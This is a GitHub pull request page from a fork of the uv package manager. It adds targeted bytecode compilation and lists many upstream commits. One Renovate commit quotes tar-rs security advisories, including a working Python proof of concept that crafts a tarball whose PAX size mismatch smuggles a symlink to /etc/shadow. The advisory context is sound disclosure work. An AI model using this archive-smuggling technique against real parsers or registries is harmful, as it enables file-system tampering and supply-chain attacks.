Skip to content

Only compile bytecode for newly installed packages#1

Open
paddymul wants to merge 137 commits intomainfrom
compile-bytecode-targeted
Open

Only compile bytecode for newly installed packages#1
paddymul wants to merge 137 commits intomainfrom
compile-bytecode-targeted

Conversation

@paddymul
Copy link
Copy Markdown
Owner

@paddymul paddymul commented Mar 7, 2026

Summary

  • Instead of walking the entire site-packages directory and recompiling every .py file on --compile-bytecode, read each installed distribution's RECORD file to find the specific .py files that were just installed, and compile only those.
  • Uses RECORD (the same source of truth the uninstaller uses) rather than guessing directory names from package names, which would break for packages like Pillow (installs to PIL/), PyYAML (yaml/), etc.
  • When --compile is requested but nothing was installed, falls back to full site-packages compilation (preserves uv pip sync --compile behavior for already-installed packages).
  • Fixes the uv run --compile-bytecode re-compilation issue (uv run repeatedly compiles bytecode with UV_COMPILE_BYTECODE=1 astral-sh/uv#12202) — if nothing was installed, the file list is empty and compilation is skipped.

Closes astral-sh#2637
Fixes astral-sh#12202

Test plan

  • Existing pip_sync::compile test passes (updated snapshot: 2 files for targeted vs 3 for full walk)
  • Existing pip_sync::recompile test passes (fallback to full compilation when nothing installed)
  • New pip_sync::compile_incremental test: install A with --compile, add B with --compile, verify only B's files are compiled
  • All 132 pip_sync tests pass (1 skip for missing Python 3.8)
  • show_settings tests pass
  • uv-dev crate compiles (uses unchanged compile_tree)
  • CI (Linux, Windows, macOS)

🤖 Generated with Claude Code

@paddymul paddymul force-pushed the compile-bytecode-targeted branch 2 times, most recently from abcd779 to 71b2840 Compare March 7, 2026 23:02
musicinmybrain and others added 27 commits March 8, 2026 11:55
<!--
Thank you for contributing to uv! To help us out with reviewing, please
consider the following:

- Does this pull request include a summary of the change? (See below.)
- Does this pull request include a descriptive title?
- Does this pull request include references to any relevant issues?
-->

## Summary

<!-- What's the purpose of the change? What does it do, and why? -->
Both `build_backend::tool_uv_build_backend_without_build_backend` and
`build_backend::tool_uv_build_backend_wrong_build_backend` fail in
offline environments because they try to download a build backend from
PyPI.

This PR conditionalizes both tests on the existing `test-pypi` feature.

## Test Plan

<!-- How was it tested? -->
Applied as a downstream patch to Fedora’s `uv` package.
## Summary

Add a `--outdated` flag that queries PyPI for the latest version of each
installed tool and filters the output to only show tools with available
updates. Each outdated tool is displayed with its installed version and
a `[latest: X.Y.Z]` annotation.

The implementation reuses the existing `LatestClient` infrastructure
from `pip list --outdated`, fetching versions concurrently with progress
reporting. Up-to-date tools are omitted from the output. A
`--no-outdated` hidden flag is included for flag negation consistency.

Fixes astral-sh#9309

## Test Plan

A new integration test has been created in
`crates/uv/tests/it/tool_list.rs`, and the feature has also been tested
locally.

Signed-off-by: Mikaël Barbero <mikael.barbero@eclipse-foundation.org>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
…dows version (astral-sh#18383)

## Summary

In astral-sh#18324, sys-info-rs was dropped
in favor of a more native reimplementation to provide OsType and
OsRelease.

This PR adjusts two areas for windows to match closely previous
behavior:

1. OsType should be `Windows` rather than `Windows_NT`
astral-sh#18324 (comment) as
seen in
https://github.com/FillZpp/sys-info-rs/blob/60ecf1470a5b7c90242f429934a3bacb6023ec4d/c/windows.c#L12.
This also matches the output of `platform.system()` in CPython.
2. OsRelease previously used `GetVersionEx` in sys-info-rs. Looking
closely, this was used primarily in
`crates/uv-python/src/interpreter.rs` and not in linehaul as linehaul
uses `platform.release()`. The problem with `GetVersionEx` is that it
returns often the wrong version due to legacy reasons (e.g. may be stuck
returning `6.2.9200`). The current implementation only returns the build
number from the registry which is prone to problems across windows older
variants. The implementation should use `RtlGetVersion` system call
which returns the current major, minor, build in the same way as
reported by `sys.getwindowsversion()` in CPython. In order to strike
balance, this switches the implementation to use four octects
`{major}.{minor}.{build}.{revision}` as recent windows versioning relies
on major, build and revision where as older versions rely on major,
minor and service pack. A windows-version crate by the same author as
windows-rs was added as it includes the correct system calls for the
windows versions.

## Test Plan

Tested manually on both Windows desktop (10, 11) and Windows Server
(2016).
…al-sh#18315)

This policy is derived from
https://github.com/ghostty-org/ghostty/blob/main/AI_POLICY.md: We have
the problem that there are autonomous contributions, or users trying to
get the LLM to solve the hard problems, where it usually fails.

I've kept the section intentionally concise without laying out all the
branches of valid and invalid LLM usage. For example, it's totally
possible to first have the LLM write the change, review that, then
develop a design from that and iterate on it and in the end have a fully
human-understood PR. What I want to discourage is that contributors
think they can outsource e.g. the hard algorithmic parts to the LLM,
without understanding the existing structure, where the LLM currently
inevitably fails.

---------

Co-authored-by: Tomasz Kramkowski <tom@astral.sh>
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [windows-version](https://redirect.github.com/microsoft/windows-rs) |
workspace.dependencies | patch | `0.1.6` → `0.1.7` |

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:

| Package | Update | Change | Pending |
|---|---|---|---|
| [msrv](https://redirect.github.com/rust-lang/rust) | minor | `1.91` →
`1.92.0` | `1.94.0` (+2) |

---

### Release Notes

<details>
<summary>rust-lang/rust (msrv)</summary>

###
[`v1.92.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1920-2025-12-11)

[Compare
Source](https://redirect.github.com/rust-lang/rust/compare/1.91.1...1.92.0)

\==========================

<a id="1.92.0-Language"></a>

## Language

- [Document `MaybeUninit` representation and
validity](https://redirect.github.com/rust-lang/rust/pull/140463)
- [Allow `&raw [mut | const]` for union field in safe
code](https://redirect.github.com/rust-lang/rust/pull/141469)
- [Prefer item bounds of associated types over where-bounds for
auto-traits and
`Sized`](https://redirect.github.com/rust-lang/rust/pull/144064)
- [Do not materialize `X` in `[X; 0]` when `X` is unsizing a
const](https://redirect.github.com/rust-lang/rust/pull/145277)
- [Support combining `#[track_caller]` and `#[no_mangle]` (requires
every declaration specifying `#[track_caller]` as
well)](https://redirect.github.com/rust-lang/rust/pull/145724)
- [Make never type lints `never_type_fallback_flowing_into_unsafe` and
`dependency_on_unit_never_type_fallback`
deny-by-default](https://redirect.github.com/rust-lang/rust/pull/146167)
- [Allow specifying multiple bounds for same associated item, except in
trait objects](https://redirect.github.com/rust-lang/rust/pull/146593)
- [Slightly strengthen higher-ranked region handling in
coherence](https://redirect.github.com/rust-lang/rust/pull/146725)
- [The `unused_must_use` lint no longer warns on `Result<(),
Uninhabited>` (for instance, `Result<(), !>`), or
`ControlFlow<Uninhabited,
()>`](https://redirect.github.com/rust-lang/rust/pull/147382). This
avoids having to check for an error that can never happen.

<a id="1.92.0-Compiler"></a>

## Compiler

- [Make `mips64el-unknown-linux-muslabi64` link
dynamically](https://redirect.github.com/rust-lang/rust/pull/146858)
- [Remove current code for embedding command-line args in
PDB](https://redirect.github.com/rust-lang/rust/pull/147022)
Command-line information is typically not needed by debugging tools, and
the removed code
was causing problems for incremental builds even on targets that don't
use PDB debuginfo.

<a id="1.92.0-Libraries"></a>

## Libraries

- [Specialize `Iterator::eq{_by}` for `TrustedLen`
iterators](https://redirect.github.com/rust-lang/rust/pull/137122)
- [Simplify `Extend` for
tuples](https://redirect.github.com/rust-lang/rust/pull/138799)
- [Added details to `Debug` for
`EncodeWide`](https://redirect.github.com/rust-lang/rust/pull/140153).
-
[`iter::Repeat::last`](https://redirect.github.com/rust-lang/rust/pull/147258)
and [`count`](https://redirect.github.com/rust-lang/rust/pull/146410)
will now panic, rather than looping infinitely.

<a id="1.92.0-Stabilized-APIs"></a>

## Stabilized APIs

-
[`NonZero<u{N}>::div_ceil`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.div_ceil)
-
[`Location::file_as_c_str`](https://doc.rust-lang.org/stable/std/panic/struct.Location.html#method.file_as_c_str)
-
[`RwLockWriteGuard::downgrade`](https://doc.rust-lang.org/stable/std/sync/struct.RwLockWriteGuard.html#method.downgrade)
-
[`Box::new_zeroed`](https://doc.rust-lang.org/stable/std/boxed/struct.Box.html#method.new_zeroed)
-
[`Box::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/boxed/struct.Box.html#method.new_zeroed_slice)
-
[`Rc::new_zeroed`](https://doc.rust-lang.org/stable/std/rc/struct.Rc.html#method.new_zeroed)
-
[`Rc::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/rc/struct.Rc.html#method.new_zeroed_slice)
-
[`Arc::new_zeroed`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.new_zeroed)
-
[`Arc::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.new_zeroed_slice)
-
[`btree_map::Entry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/btree_map/enum.Entry.html#method.insert_entry)
-
[`btree_map::VacantEntry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/btree_map/struct.VacantEntry.html#method.insert_entry)
- [`impl Extend<proc_macro::Group> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CGroup%3E-for-TokenStream)
- [`impl Extend<proc_macro::Literal> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CLiteral%3E-for-TokenStream)
- [`impl Extend<proc_macro::Punct> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CPunct%3E-for-TokenStream)
- [`impl Extend<proc_macro::Ident> for
proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CIdent%3E-for-TokenStream)

These previously stable APIs are now stable in const contexts:

-
[`<[_]>::rotate_left`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.rotate_left)
-
[`<[_]>::rotate_right`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.rotate_right)

<a id="1.92.0-Cargo"></a>

## Cargo

- [Added a new
chapter](https://redirect.github.com/rust-lang/cargo/issues/16119) to
the Cargo book, ["Optimizing Build
Performance"](https://doc.rust-lang.org/stable/cargo/guide/build-performance.html).

<a id="1.92.0-Rustdoc"></a>

## Rustdoc

- [If a trait item appears in rustdoc search, hide the corresponding
impl items](https://redirect.github.com/rust-lang/rust/pull/145898).
Previously a search for "last" would show both `Iterator::last` as well
as impl methods like `std::vec::IntoIter::last`. Now these impl methods
will be hidden, freeing up space for inherent methods like
`BTreeSet::last`.
- [Relax rules for identifiers in
search](https://redirect.github.com/rust-lang/rust/pull/147860).
Previously you could only search for identifiers that were valid in rust
code, now searches only need to be valid as part of an identifier. For
example, you can now perform a search that starts with a digit.

<a id="1.92.0-Compatibility-Notes"></a>

## Compatibility Notes

- [Fix backtraces with `-C panic=abort` on Linux by generating unwind
tables by
default](https://redirect.github.com/rust-lang/rust/pull/143613). Build
with `-C force-unwind-tables=no` to keep omitting unwind tables.

* As part of the larger effort refactoring compiler built-in attributes
and their diagnostics, [the future-compatibility lint
`invalid_macro_export_arguments` is upgraded to deny-by-default and will
be reported in dependencies
too.](https://redirect.github.com/rust-lang/rust/pull/143857)
* [Update the minimum external LLVM to
20](https://redirect.github.com/rust-lang/rust/pull/145071)
* [Prevent downstream `impl DerefMut for
Pin<LocalType>`](https://redirect.github.com/rust-lang/rust/pull/145608)
* [Don't apply temporary lifetime extension rules to the arguments of
non-extended `pin!` and formatting
macros](https://redirect.github.com/rust-lang/rust/pull/145838)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[actions/attest-build-provenance](https://redirect.github.com/actions/attest-build-provenance)
| action | major | `v3.2.0` → `v4.1.0` |

---

### Release Notes

<details>
<summary>actions/attest-build-provenance
(actions/attest-build-provenance)</summary>

###
[`v4.1.0`](https://redirect.github.com/actions/attest-build-provenance/releases/tag/v4.1.0)

[Compare
Source](https://redirect.github.com/actions/attest-build-provenance/compare/v4.0.0...v4.1.0)

> \[!NOTE]
> As of version 4, `actions/attest-build-provenance` is simply a wrapper
on top of
[`actions/attest`](https://redirect.github.com/actions/attest).
>
> Existing applications may continue to use the
`attest-build-provenance` action, but new implementations should use
`actions/attest` instead.

#### What's Changed

- Update RELEASE.md docs by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[#&astral-sh#8203;836](https://redirect.github.com/actions/attest-build-provenance/pull/836)
- Bump `actions/attest` from 4.0.0 to 4.1.0 by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[#&astral-sh#8203;838](https://redirect.github.com/actions/attest-build-provenance/pull/838)
- Bump `@actions/attest` from 3.0.0 to 3.1.0 by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[actions/attest#362](https://redirect.github.com/actions/attest/pull/362)
- Bump `@actions/attest` from 3.1.0 to 3.2.0 by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[actions/attest#365](https://redirect.github.com/actions/attest/pull/365)
- Add new `subject-version` input for inclusion in storage record by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[actions/attest#364](https://redirect.github.com/actions/attest/pull/364)
- Add storage record content to README by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[actions/attest#366](https://redirect.github.com/actions/attest/pull/366)

**Full Changelog**:
<actions/attest-build-provenance@v4.0.0...v4.1.0>

###
[`v4.0.0`](https://redirect.github.com/actions/attest-build-provenance/releases/tag/v4.0.0)

[Compare
Source](https://redirect.github.com/actions/attest-build-provenance/compare/v3.2.0...v4.0.0)

> \[!NOTE]
> As of version 4, `actions/attest-build-provenance` is simply a wrapper
on top of
[`actions/attest`](https://redirect.github.com/actions/attest).
>
> Existing applications may continue to use the
`attest-build-provenance` action, but new implementations should use
`actions/attest` instead.

#### What's Changed

- Prepare v4 release by
[@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in
[#&astral-sh#8203;835](https://redirect.github.com/actions/attest-build-provenance/pull/835)

**Full Changelog**:
<actions/attest-build-provenance@v3.2.0...v4.0.0>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Closes astral-sh#18361.

---------

Co-authored-by: konsti <konstin@mailbox.org>
Co-authored-by: Tomasz Kramkowski <tom@astral.sh>
## Summary

This adds some initial output/report formatting for `uv audit`.

This is an initial blush, any feedback to align this with
rendering/formatting idioms elsewhere would be greatly appreciated!

Atop astral-sh#18119. 

## Test Plan

None yet.

---------

Signed-off-by: William Woodruff <william@astral.sh>
## Summary

This adds links to `uv audit`'s outputs. This required adding links to
the backing (common) Vulnerability type and pulling them from the OSV
service. OSV will always produce a link for a Vulnerability (since the
ID itself can be turned into a link), but `Vulnerability::link` itself
is optional since other services may not necessarily guarantee this.

Follows astral-sh#18193.

## Test Plan

None yet.

---------

Signed-off-by: William Woodruff <william@astral.sh>
## Summary

The metadata cache used `VersionId` as a key, which meant that if a
package-version existed on two different indexes, we assumed identical
metadata. This turns out not to be true in some contexts, e.g., for the
linked issue with PyTorch. We now key it on `DistributionId`, which does
include the index.

Closes astral-sh#17732.
…ystem (astral-sh#18389)

Resolves astral-sh#18388

When a workspace member declares `[project.scripts]` without a
`[build-system]` table or `tool.uv.package = true`, uv silently skips
installing those entry points. The warning that normally fires for the
root project was never emitted for non-root workspace members, because
the check only inspected the workspace root's `pyproject.toml`.

This diff replaces the single-project check with a loop over all
workspace members, so the warning fires for any member that has scripts
but is not packaged. The warning message now includes the package name
to make it actionable when multiple members are involved.
## Summary

This switches us to OSV's batch query API for vulnerability ID lookups,
which can then be used to concurrently fetch the actual full finding
responses.

In my local testing, this yields significant speedups: from 23s on main
(before this PR) with a small project (~70 deps) to 950ms with this PR.

~~WIP, I want to think through this approach a little more.~~

See astral-sh#18119

## Test Plan

Added new unit tests.

---------

Signed-off-by: William Woodruff <william@astral.sh>
## Summary

Follows astral-sh#18394. This plumbs the actual concurrency settings (rather than
their default) and removes the default impl for `Osv`.

## Test Plan

NFC.

Signed-off-by: William Woodruff <william@astral.sh>
…sh#18399)

## Summary

`uv tool install --force` will now always recreate the environment,
which I find more intuitive (and makes it a more reliable escape hatch).

Closes astral-sh#17907.
…-sh#18396)

## Summary

We now take cache keys and timestamps into account when reusing
environments via `--with`, etc.

Closes astral-sh#16617.
When `--config-file` or `UV_CONFIG_FILE` is used, emit a `DEBUG` message
after logging is initialized so users can verify which configuration
file is active.

The existing debug log in `FilesystemOptions::from_file()` fires before
the tracing subscriber is registered, so it is silently dropped.

Closes astral-sh#17182

---------

Co-authored-by: konstin <konstin@mailbox.org>
## Summary

I was [working on addressing feedback and some issues I spotted in the
centralised environments
PR](https://www.youtube.com/watch?v=5W4NFcamRhM) and I noticed that this
wrapper type was unnecessary to achieve the desired result.

## Test Plan

Existing tests.
zanieb and others added 24 commits March 19, 2026 10:01
…as no token (astral-sh#18425)

Co-authored-by: Zsolt Dollenstein <zsol.zsol@gmail.com>
Hopefully, this means we will get consistent hardware and improve
stability
Co-authored-by: Claude <noreply@anthropic.com>
)

Co-authored-by: Claude <noreply@anthropic.com>
Automated update for Python releases.

Co-authored-by: zanieb <2586601+zanieb@users.noreply.github.com>
I'm honestly not sure what the root cause is here but I'm going to merge
to unblock `main` which is otherwise broken.
Otherwise, we build uv from source which is not desirable.

Co-authored-by: Claude <noreply@anthropic.com>
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [tar](https://redirect.github.com/alexcrichton/tar-rs) |
workspace.dependencies | patch | `0.4.44` → `0.4.45` |

### GitHub Vulnerability Alerts

####
[CVE-2026-33056](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph)

## Summary

When unpacking a tar archive, the `tar` crate's `unpack_dir` function
uses `fs::metadata()` to check whether a path that already exists is a
directory. Because `fs::metadata()` follows symbolic links, a crafted
tarball containing a symlink entry followed by a directory entry with
the same name causes the crate to treat the symlink target as a valid
existing directory — and subsequently apply `chmod` to it. This allows
an attacker to modify the permissions of arbitrary directories outside
the extraction root.

## Reproducer

A malicious tarball contains two entries: (1) a symlink `foo` pointing
to an arbitrary external directory, and (2) a directory entry `foo/.`
(or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST`
because the symlink is already on disk. The `fs::metadata()` check then
follows the symlink, sees a directory at the target, and allows
processing to continue. The directory entry's mode bits are then applied
via `chmod`, which also follows the symlink — modifying the permissions
of the external target directory.

## Fix 

The fix is very simple, we now use `fs::symlink_metadata()` in
`unpack_dir`, so symlinks are detected and rejected rather than
followed.

## Credit

This issue was reported by @&astral-sh#8203;xokdvium - thank you!

####
[CVE-2026-33055](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff)

### Summary

As part of
[CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the
astral-tokio-tar project was changed to correctly honor PAX size headers
in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust
`tar` crate) had a conditional logic that skipped the PAX size header in
the case that the base header size was nonzero - almost the inverse of
the astral-tokio-tar issue.

The problem here is that *any* discrepancy in how tar parsers honor file
size can be used to create archives that appear differently when
unpacked by different archivers.

In this case, the tar-rs (Rust `tar`) crate is an outlier in checking
for the header size - other tar parsers (including e.g. Go
`archive/tar`) unconditionally use the PAX size override.

### Details


https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600

https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

### PoC

(originally posted by https://github.com/xokdvium)

> I was worried that cargo might be vulnerable to malicious crates, but
it turns out that crates.io has been rejecting both symlinks and hard
links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have
introduced a differential that could be used to smuggle symlinks into
the registry that would get skipped over by `astral-tokio-tar` but not
by `tar-rs`.


https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600

https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

```python

#!/usr/bin/env python3
B = 512

def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)

INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))
```

`tar-rs` and `astral-tokio-tar` parse it differently, with
`astral-tokio-tar` skipping over the symlink (so presumably the check
from
https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102
wouldn't disallow it).

```rust
use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
```

```
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular
```

### Impact

This can affect anything that uses the `tar` crate to parse archives and
expects to have a consistent view with other parsers. In particular it
is known to affect crates.io which uses `astral-tokio-tar` to parse, but
cargo uses `tar`.

---

### Release Notes

<details>
<summary>alexcrichton/tar-rs (tar)</summary>

###
[`v0.4.45`](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)

[Compare
Source](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiLCJzZWN1cml0eSJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Instead of walking the entire site-packages directory and recompiling
every .py file, read each installed distribution's RECORD file to find
the specific .py files that were just installed, and compile only those.

This uses RECORD (the same source of truth the uninstaller uses) rather
than guessing directory names from package names, which would break for
packages like Pillow (installs to PIL/), PyYAML (yaml/), etc.

When --compile is requested but nothing was installed, falls back to
full site-packages compilation to handle the case where packages were
previously installed without --compile.

Closes astral-sh#2637
Fixes astral-sh#12202

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Extract `parse_compile_timeout()` and `spawn_workers_and_wait()` from
  `compile_tree` to eliminate duplication between `compile_tree` and
  `compile_files`
- Reuse existing `find_dist_info` from `uv-install-wheel` (made `pub`)
  instead of a custom `find_dist_info_dir` in mod.rs
- No behavioral changes

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@paddymul paddymul force-pushed the compile-bytecode-targeted branch from f48d0b3 to 38043a6 Compare March 21, 2026 22:33
paddymul and others added 4 commits March 21, 2026 19:31
Replace depot-ubuntu-* and ubuntu-slim with ubuntu-latest (and
depot-macos-14 with macos-14) so CI runs on fork without Depot.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Make minix filesystem mount non-fatal (not available on ubuntu-latest)
- Replace paid/large runners with standard GitHub-hosted runners
- Windows: github-windows-2025-x86_64-16 → windows-latest
- macOS: macos-latest-large → macos-latest
- Ubuntu: github-ubuntu-24.04-x86_64-8 → ubuntu-latest

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- github-ubuntu-24.04-aarch64-2 → ubuntu-latest
- windows-11-arm → windows-latest

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

uv run repeatedly compiles bytecode with UV_COMPILE_BYTECODE=1 Speed up pyc compilation